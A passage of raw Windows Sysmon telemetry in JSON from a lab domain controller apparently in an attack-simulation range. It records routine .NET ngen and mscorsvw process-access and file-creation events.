12:03:04.463","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42EF-5F2D-0000-0010746E0E00}","TargetProcessId":"4628","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7748,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:04.463\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42EF-5F2D-0000-0010746E0E00}\r\nTargetProcessId: 4628\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:04.463","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42EF-5F2D-0000-0010746E0E00}","TargetProcessId":"4628","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7749,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:04.479\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42F8-5F2D-0000-00100ECA0E00}\r\nTargetProcessId: 4628\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:04.479","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42F8-5F2D-0000-00100ECA0E00}","TargetProcessId":"4628","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7750,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:04.588\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42BC-5F2D-0000-00109F580D00}\r\nTargetProcessId: 3768\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:04.588","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42BC-5F2D-0000-00109F580D00}","TargetProcessId":"3768","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7751,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:04.588\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42BC-5F2D-0000-00109F580D00}\r\nTargetProcessId: 3768\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:04.588","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42BC-5F2D-0000-00109F580D00}","TargetProcessId":"3768","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7752,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:04.604\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42F8-5F2D-0000-001091CD0E00}\r\nTargetProcessId: 3768\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:04.604","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42F8-5F2D-0000-001091CD0E00}","TargetProcessId":"3768","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7753,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:04.932\r\nProcessGuid: {90617006-42F8-5F2D-0000-001091CD0E00}\r\nProcessId: 3768\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\eb8-0\\System.IO.Log.dll\r\nCreationUtcTime: 2020-08-07 12:03:04.932","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:04.932","ProcessGuid":"{90617006-42F8-5F2D-0000-001091CD0E00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\eb8-0\\System.IO.Log.dll","CreationUtcTime":"2020-08-07 12:03:04.932","EventReceivedTime":"2020-08-07 12:03:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7754,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:05.010\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42F9-5F2D-0000-0010ACD20E00}\r\nTargetProcessId: 3352\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:05.010","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42F9-5F2D-0000-0010ACD20E00}","TargetProcessId":"3352","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7755,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:05.010\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42F9-5F2D-0000-0010ACD20E00}\r\nTargetProcessId: 3352\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:05.010","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42F9-5F2D-0000-0010ACD20E00}","TargetProcessId":"3352","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7756,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:05.026\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42F9-5F2D-0000-0010ACD20E00}\r\nTargetProcessId: 3352\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: 